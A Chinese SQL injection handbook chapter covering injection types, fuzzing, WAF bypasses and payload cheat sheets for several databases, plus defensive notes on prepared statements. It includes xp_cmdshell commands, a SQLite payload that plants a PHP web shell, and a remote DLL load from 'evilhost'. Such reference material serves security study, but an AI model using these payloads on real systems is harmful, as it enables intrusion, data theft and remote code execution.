4.1. SQL注入

    技术2022-07-11  81

    4.1. SQL注入

    内容索引:

    4.1. SQL注入4.1.1. 注入分类4.1.1.1. 按技巧分类4.1.1.2. 按获取数据的方式分类 4.1.2. 注入检测4.1.2.1. 常见的注入点4.1.2.2. Fuzz注入点4.1.2.3. 测试用常量4.1.2.4. 测试列数4.1.2.5. 报错注入4.1.2.6. 堆叠注入4.1.2.7. 注释符4.1.2.8. 判断过滤规则4.1.2.9. 获取信息4.1.2.10. 测试权限 4.1.3. 权限提升4.1.3.1. UDF提权 4.1.4. 数据库检测4.1.4.1. MySQL4.1.4.2. Oracle4.1.4.3. SQLServer4.1.4.4. PostgreSQL 4.1.5. 绕过技巧4.1.6. SQL注入小技巧4.1.6.1. 宽字节注入 4.1.7. CheatSheet4.1.7.1. SQL Server Payload4.1.7.2. MySQL Payload4.1.7.3. PostgresSQL Payload4.1.7.4. Oracle Payload4.1.7.5. SQLite3 Payload 4.1.8. 预编译4.1.8.1. 简介4.1.8.2. 模拟预编译4.1.8.3. 绕过4.1.8.3. 绕过4.1.8.3.1. 预编译使用错误4.1.8.3.2. 部分参数不可预编译4.1.8.3.3. 预编译实现错误 4.1.9. 参考文章

    4.1.1. 注入分类

    SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。

    4.1.1.1. 按技巧分类

    4.1.1.1. 按技巧分类

    根据使用的技巧,SQL注入类型可分为

    盲注

    布尔盲注:只能从应用返回中推断语句执行后的布尔值时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断

    报错注入:应用会显示全部或者部分的报错信息

    堆叠注入:有的应用可以加入 ; 后一次执行多条语句

    其他

    4.1.1.2. 按获取数据的方式分类

    另外也可以根据获取数据的方式分为3类

    inband

    利用Web应用来直接获取数据如报错注入都是通过站点的响应或者错误反馈来提取数据

    inference

    通过Web的一些反映来推断数据如布尔盲注和堆叠注入也就是我们通俗的盲注,通过web应用的其他改变来推断数据

    out of band(OOB)

    通过其他传输方式来获得数据,比如DNS解析协议和电子邮件

    4.1.2. 注入检测

    4.1.2.1. 常见的注入点

    GET/POST/PUT/DELETE参数X-Forwarded-For文件名

    4.1.2.2. Fuzz注入点

    ' / "1/11/0and 1=1" and "1"="1and 1=2or 1=1or 1=' and '1'='1+ - ^ * % /<< >> || | & &&~!@反引号执行

    4.1.2.3. 测试用常量

    @@version@@servername@@language@@spid

    4.1.2.4. 测试列数

    例如 http://www.foo.com/index.asp?id=12+union+select+null,null-- ,不断增加 null至不返回

    4.1.2.5. 报错注入

    select 1/0select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)aextractvalue(1, concat(0x5c,(select user())))updatexml(0x3a,concat(1,(select user())),1)exp(~(SELECT * from(select user())a))ST_LatFromGeoHash((select * from(select * from(select user())a)b))GTID_SUBSET(version(), 1) 其中需要注意的是,基于exp函数的报错注入在MySQL 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。

    而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。

    4.1.2.6. 堆叠注入

    ;select 1

    4.1.2.7. 注释符

    #--+/*xxx*//*!xxx*//*!50000xxx*/

    4.1.2.8. 判断过滤规则

    是否有trunc是否过滤某个字符是否过滤关键字slash和编码

    4.1.2.9. 获取信息

    判断数据库类型

    and exists (select * from msysobjects ) > 0 access数据库and exists (select * from sysobjects ) > 0 SQLServer数据库

    判断数据库表

    and exsits (select * from admin)

    版本、主机名、用户名、库名

    表和字段

    确定字段数

    Order BySelect Into

    表名、列名

    4.1.2.10. 测试权限

    文件操作

    读敏感文件写shell

    带外通道

    网络请求

    4.1.3. 权限提升

    4.1.3.1. UDF提权

    UDF(User Defined Function,用户自定义函数)是MySQL提供的一个功能,可以通过编写DLL扩展为MySQL添加新函数,扩充其功能。

    当获得MySQL权限之后,即可通过这种方式上传自定义的扩展文件,从MySQL中执行系统命令。

    4.1.4. 数据库检测

    4.1.4.1. MySQL

    sleep sleep(1)

    benchmarkBENCHMARK(5000000, MD5('test'))

    字符串连接

    SELECT 'a' 'b'SELECT CONCAT('some','string')

    version

    SELECT @@versionSELECT version()

    识别用函数

    connection_id()last_insert_id()row_count()

    4.1.4.2. Oracle

    字符串连接

    'a'||'oracle' --SELECT CONCAT('some','string')

    version

    SELECT banner FROM v$versionSELECT banner FROM v$version WHERE rownum=1

    4.1.4.3. SQLServer

    WAITFOR WAITFOR DELAY '00:00:10';

    SERVERNAME SELECT @@SERVERNAME

    version SELECT @@version

    字符串连接

    SELECT 'some'+'string'

    常量

    @@pack_received@@rowcount

    4.1.4.4. PostgreSQL

    sleep pg_sleep(1)

    4.1.5. 绕过技巧

    编码绕过

    大小写url编码html编码十六进制编码unicode编码

    注释

    // -- -- + -- - # /**/ ;内联注释用的更多,它有一个特性/!**/只有MySQL能识别e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

    只过滤了一次时

    union => ununionion

    相同功能替换

    函数替换

    substring / mid / subascii / hex / binbenchmark/ sleep

    变量替换

    user() / @@user

    符号和关键字

    and /&or/ |

    HTTP参数

    HTTP参数污染

    id=1&id=2&id=3 根据容器不同会有不同的结果

    HTTP分割注入

    缓冲区溢出

    一些C语言的WAF处理的字符串长度有限,超出某个长度后的payload可能不会被处理

    二次注入有长度限制时,通过多句执行的方法改掉数据库该字段的长度绕过

    4.1.6. SQL注入小技巧

    4.1.6.1. 宽字节注入

    一般程序员用gbk编码做开发的时候,会用set names 'gbk' 来设定,这句话等同于

    set character_set_connection = ‘gbk’, character_set_result = ‘gbk’, character_set_client = ‘gbk’;

    漏洞发生的原因是执行了set character_set_client = 'gbk'; 之后,mysql就会认为客户端传过来的数据是gbk编码的,从而使用gbk去解码,而mysql_real_escape是在解码前执行的。但是直接用 set names 'gbk'的话real_escape是不知道设置的数据的编码的,就会加 \ 。此时server拿到数据解码 就认为提交的字符+\是gbk的一个字符,这样就产生漏洞了。

    解决的办法有三种,第一种是把client的charset设置为binary,就不会做一次解码的操作。第二种是是 mysql_set_charset('gbk'),这里就会把编码的信息保存在和数据库的连接里面,就不会出现这个问题了。 第三种就是用pdo。

    还有一些其他的编码技巧,比如latin会弃掉无效的unicode,那么admin2在代码里面不等于admin,在数据库比较会等于admin。

    4.1.7. CheatSheet

    4.1.7.1. SQL Server Payload

    Version

    SELECT @@version

    Comment

    SELECT 1 -- commentSELECT /*comment*/1

    Space

    0x01 - 0x20

    Current User

    SELECT user_name()SELECT system_userSELECT userSELECT loginame FROM master..sysprocesses WHERE spid = @@SPID

    List User

    SELECT name FROM master..syslogins

    Current Database

    SELECT DB_NAME()

    List Database

    SELECT name FROM master..sysdatabases

    Command

    EXEC xp_cmdshell 'net user'

    Ascii

    SELECT char(0x41)SELECT ascii('A')SELECT char(65)+char(66) => return AB

    Delay

    WAITFOR DELAY '0:0:3' pause for 3 seconds

    Change Password

    ALTER LOGIN [sa] WITH PASSWORD=N'NewPassword'

    Trick

    id=1 union:select password from:user

    4.1.7.2. MySQL Payload

    Version

    SELECT @@version

    Comment

    SELECT 1 -- commentSELECT 1 # commentSELECT /*comment*/1

    Space

    0x9 0xa-0xd 0x20 0xa0

    Current User

    SELECT user()SELECT system_user()

    List User

    SELECT user FROM mysql.user

    Current Database

    SELECT database()

    List Database

    SELECT schema_name FROM information_schema.schemata

    List Tables

    SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

    List Columns

    SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != 'mysql' AND table_schema != 'information_schema'

    If

    SELECT if(1=1,'foo','bar');return ‘foo’

    Ascii

    SELECT char(0x41)SELECT ascii('A')SELECT 0x414243 => return ABC

    Delay

    ` sleep(1)SELECT BENCHMARK(1000000,MD5('A'))

    Read File

    `select @@datadirselect load_file('databasename/tablename.MYD')

    Blind

    ascii(substring(str,pos,length)) & 32 = 1

    Error Based

    select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;

    Write File

    union select 1,1,1 into outfile '/tmp/demo.txt'union select 1,1,1 into dumpfile '/tmp/demo.txt'dumpfile和outfile不同在于,outfile会在行末端写入新行,会转义换行符,如果写入二进制文件,很可能被这种特性破坏

    Change Password

    mysql -uroot -e "use mysql;UPDATE user SET password=PASSWORD('newpassword') WHERE user='root';FLUSH PRIVILEGES;"

    4.1.7.3. PostgresSQL Payload

    Version

    SELECT version()

    Comment

    SELECT 1 -- commentSELECT /*comment*/1

    Current User

    SELECT userSELECT current_userSELECT session_userSELECT getpgusername()

    List User

    SELECT usename FROM pg_user

    Current Database

    SELECT current_database()

    List Database

    SELECT datname FROM pg_database

    Ascii

    SELECT char(0x41)SELECT ascii('A')

    Delay

    pg_sleep(1)

    4.1.7.4. Oracle Payload

    dump

    SELECT * FROM ALL_TABLES

    Comment

    --/**/

    Space

    0x00 0x09 0xa-0xd 0x20

    4.1.7.5. SQLite3 Payload

    Comment

    --/**/

    Version

    select sqlite_version();

    Command Execution

    ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (’<?system($_GET['cmd']); ?>’);–

    Load_extension

    UNION SELECT 1,load_extension('\\evilhost\evil.dll','E');--

    4.1.8. 预编译

    4.1.8.1. 简介

    SQL注入是因为解释器将传入的数据当成命令执行而导致的,预编译是用于解决这个问题的一种方法。和普通的执行流程不同,预编译将一次查询通过两次交互完成,第一次交互发送查询语句的模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代入AST或Opcode中执行。因为此时语法解析已经完成,所以不会再出现混淆数据和代码的过程。

    4.1.8.2. 模拟预编译

    为了防止低版本数据库不支持预编译的情况,模拟预编译会在客户端内部模拟参数绑定的过程,进行自定义的转义。

    4.1.8.3. 绕过

    4.1.8.3. 绕过

    4.1.8.3.1. 预编译使用错误

    预编译只是使用占位符替代的字段值的部分,如果第一次交互传入的命令使用了字符串拼接,使得命令是攻击者可控的,那么预编译不会生效。

    4.1.8.3.2. 部分参数不可预编译

    在有的情况下,数据库处理引擎会检查数据表和数据列是否存在,因此数据表名和列名不能被占位符所替代。这种情况下如果表名和列名可控,则可能引入漏洞。

    4.1.8.3.3. 预编译实现错误

    部分语言引擎在实现上存在一定问题,可能会存在绕过漏洞。

    4.1.9. 参考文章

    NoSQL注入的分析和缓解 NoSQL注入 SQL注入ByPass的一些小技巧 sqlmap time based inject 分析 SQLInjectionWiki Waf Bypass之道 MySQL Bypass Wiki

    Processed: 0.012, SQL: 9